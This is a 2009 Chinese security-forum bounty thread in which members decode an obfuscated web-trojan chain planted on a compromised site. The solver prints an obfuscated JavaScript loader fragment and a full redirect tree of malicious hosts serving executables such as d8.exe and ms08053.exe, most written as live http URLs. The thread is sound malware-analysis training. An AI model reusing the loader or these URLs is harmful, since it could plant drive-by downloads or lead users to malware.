[解密悬赏][第23期][完成]

qianwenxiang

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
5、锁定后，会重新修改本次的解密地址，并且开帖！
6、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验



解密地址（替换HXXP为HTTP）：


hxxp://www.xleader.cn/  (完成 by knifed @ 3L)

一次解完（包含解密步骤）=20分
分步（即未解完情况）：

开始 ……0
|_发现某页面 ……2分
   |_解出某函数 ……3分
     |_找到某页面 ……2分
       |_又是某页面 ……2分
         |_______________________400错误 ……1分安慰
         |_读出代码 ……2分
           |_剩余的常规页面了 ……完成＝20分
     
注意：这些地址含有恶意软件，可能会危害到您的计算机。请不要直接打开，否则因此造成的一切后果我们概不负责！
参考解密工具：
FreShow（英文）、 Redoce 1.8（中文）、malzilla （英文，但是乃神器也）
http://glacierlk.cn/openlab/jm.htm
参考解密教程：
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550
http://bbs.kafan.cn/thread-408295-1-1.html


(时限=1天)

[ 本帖最后由 qianwenxiang 于 2009-2-13 19:29 编辑 ]

[ 本帖最后由 qianwenxiang 于 2009-2-13 22:47 编辑 ]

knifed

这个不难.

knifed

没人解.

1.输入hxxp://www.xleader.cn/ 得到hxxp://www.xleader.cn/js/bxw.js
2.bxw.js中的

var r_=/@/gi;var t_="60,@@5,99,@@4,@05,@@2,@@6,32,@@5,@@4,99,6@,@04,@@6,@@6,@@2,58,47,47,97,@08,@08,97,@09,97,@09,97,46,99,@@0,47,@05,@@0,@02,46,@06,@@5,62,60,47,@@5,99,@@4,@05,@@2,@@6,62";t_=t_.replace(r_,"1")

3.解密得到hxxp://allamama.cn/inf.js,运行得到hxxp://padead2.googl0ee.cn.
4.用malzilla打开hxxp://padead2.googl0ee.cn得到hxxp://w.sdfg74.cn/jz/4.htm
[wide]http://www.xleader.cn/
    [script]http://www.xleader.cn/js/bxw.js
        [object]http://allamama.cn/inf.js
            [object]http://padead2.googl0ee.cn
                [object]http://w.sdfg74.cn/jz/4.htm
                    [frame]http://z.kghh5.cn/d8/fxx.htm
                        [frame]http://z.kghh5.cn/d8/all.htm
                            [frame]http://z.kghh5.cn/d8/1.htm
                                [object]http://ko.807090.cn/Baidu.cab
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/0.htm
                                [object]http://ko.807090.cn/ms08053.exe
                            [frame]http://z.kghh5.cn/d8/newlz.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/s.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/office.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/bf.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/cx.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/uu.htm
                                [object]http://w.807090.cn/uu.txt
                                    [object]http://tj.qqxtup.cn/UUSee.CAB
                            [frame]http://z.kghh5.cn/d8/2.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/3.htm
                                [object]http://ko.807090.cn/real.exe
                            [frame]http://z.kghh5.cn/d8/4.htm
                                [object]http://ko.807090.cn/d8.exe
                            [frame]http://z.kghh5.cn/d8/5.htm
                                [object]http://ko.807090.cn/ie7.exe
                            [frame]http://z.kghh5.cn/d8/b.htm
                                [object]http://ko.807090.cn/Baidu.cab